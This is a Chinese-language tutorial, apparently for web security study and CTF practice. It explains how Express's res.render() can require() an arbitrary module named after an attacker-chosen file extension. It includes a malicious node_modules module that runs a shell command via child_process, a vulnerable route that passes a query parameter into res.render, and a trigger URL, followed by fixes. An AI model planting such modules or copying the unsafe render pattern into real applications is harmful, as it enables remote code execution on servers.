谈Express engine处理引擎的一个trick
字数 875 2025-08-23 18:31:34

Express引擎处理漏洞分析与利用教学

背景介绍

Express框架在处理模板引擎时存在一个有趣的安全问题,当使用res.render()方法渲染视图时,如果能够控制文件名和后缀,可能导致任意代码执行。这个漏洞在较高版本中已被修复,但理解其原理对于Web安全研究非常有价值。

核心流程分析

1. 渲染调用链

Express处理视图渲染的核心调用链如下:

render() -> View() -> tryRender -> this.engine()

2. 关键代码分析

render函数关键部分

app.render = function render(name, options, callback) {
    // ...省略部分代码...
    
    if (!view) {
        var View = this.get('view');
        view = new View(name, {
            defaultEngine: this.get('view engine'),
            root: this.get('views'),
            engines: engines
        });
        
        // ...省略部分代码...
    }
    
    tryRender(view, renderOptions, done);
};

View构造函数关键部分

function View(name, options) {
    var opts = options || {};
    this.defaultEngine = opts.defaultEngine;
    this.ext = extname(name);
    this.name = name;
    this.root = opts.root;
    
    if (!this.ext && !this.defaultEngine) {
        throw new Error('No default engine was specified and no extension was provided.');
    }
    
    var fileName = name;
    if (!this.ext) {
        // 从默认引擎获取扩展名
        this.ext = this.defaultEngine[0] !== '.' ? '.' + this.defaultEngine : this.defaultEngine;
        fileName += this.ext;
    }
    
    if (!opts.engines[this.ext]) {
        // 加载引擎
        var mod = this.ext.slice(1)
        debug('require "%s"', mod)
        // 默认引擎导出
        var fn = require(mod).__express
        if (typeof fn !== 'function') {
            throw new Error('Module "' + mod + '" does not provide a view engine.')
        }
        opts.engines[this.ext] = fn
    }
    
    this.engine = opts.engines[this.ext];
    this.path = this.lookup(fileName);
}

tryRender函数

function tryRender(view, options, callback) {
    try {
        view.render(options, callback);
    } catch (err) {
        callback(err);
    }
}

漏洞原理

  1. 后缀处理问题:Express对文件后缀没有严格限制,任何后缀都会被接受(如.ttt

  2. 动态加载机制:当遇到未知后缀时,Express会尝试:

    • 去掉后缀的点(如.tttttt
    • 使用require('ttt')加载模块
    • 检查模块是否导出__express函数
    • 如果存在,则使用该函数作为渲染引擎
  3. 可控点:如果攻击者能够:

    • 控制渲染的文件名和后缀
    • node_modules目录下放置恶意模块
      就可以实现任意代码执行

漏洞利用步骤

1. 准备恶意模块

node_modules目录下创建ttt文件夹,其中包含index.js文件:

exports.__express = function() {
    console.log(require('child_process').execSync("id").toString());
}

2. 创建易受攻击的Express应用

app.set('view engine', 'ejs');
app.get('/', (req, res) => {
    const page = req.query.filename;
    res.render(page);
});

3. 触发漏洞

访问以下URL即可执行命令:

http://127.0.0.1/?filename=1.ttt

漏洞修复方案

  1. 后缀白名单:只允许特定的模板引擎后缀

  2. 引擎预注册:提前注册所有允许的引擎,不动态加载

  3. 路径限制:限制视图文件必须位于特定目录下

教学总结

  1. 关键点

    • Express动态加载模板引擎的机制
    • 通过控制文件名和后缀可以触发模块加载
    • __express函数的特殊作用
  2. 防御建议

    • 始终使用最新版本的Express
    • 避免直接使用用户输入作为渲染文件名
    • 实施严格的后缀检查
  3. CTF应用

    • 这类漏洞常出现在CTF的Web题目中
    • 结合文件上传漏洞可能实现RCE
    • 需要理解Node.js的模块加载机制

这个漏洞展示了框架动态加载机制可能带来的安全问题,理解其原理有助于开发更安全的应用程序和解决类似的安全挑战。

Express引擎处理漏洞分析与利用教学 背景介绍 Express框架在处理模板引擎时存在一个有趣的安全问题,当使用 res.render() 方法渲染视图时,如果能够控制文件名和后缀,可能导致任意代码执行。这个漏洞在较高版本中已被修复,但理解其原理对于Web安全研究非常有价值。 核心流程分析 1. 渲染调用链 Express处理视图渲染的核心调用链如下: 2. 关键代码分析 render函数关键部分 View构造函数关键部分 tryRender函数 漏洞原理 后缀处理问题 :Express对文件后缀没有严格限制,任何后缀都会被接受(如 .ttt ) 动态加载机制 :当遇到未知后缀时,Express会尝试: 去掉后缀的点(如 .ttt → ttt ) 使用 require('ttt') 加载模块 检查模块是否导出 __express 函数 如果存在,则使用该函数作为渲染引擎 可控点 :如果攻击者能够: 控制渲染的文件名和后缀 在 node_modules 目录下放置恶意模块 就可以实现任意代码执行 漏洞利用步骤 1. 准备恶意模块 在 node_modules 目录下创建 ttt 文件夹,其中包含 index.js 文件: 2. 创建易受攻击的Express应用 3. 触发漏洞 访问以下URL即可执行命令: 漏洞修复方案 后缀白名单 :只允许特定的模板引擎后缀 引擎预注册 :提前注册所有允许的引擎,不动态加载 路径限制 :限制视图文件必须位于特定目录下 教学总结 关键点 : Express动态加载模板引擎的机制 通过控制文件名和后缀可以触发模块加载 __express 函数的特殊作用 防御建议 : 始终使用最新版本的Express 避免直接使用用户输入作为渲染文件名 实施严格的后缀检查 CTF应用 : 这类漏洞常出现在CTF的Web题目中 结合文件上传漏洞可能实现RCE 需要理解Node.js的模块加载机制 这个漏洞展示了框架动态加载机制可能带来的安全问题,理解其原理有助于开发更安全的应用程序和解决类似的安全挑战。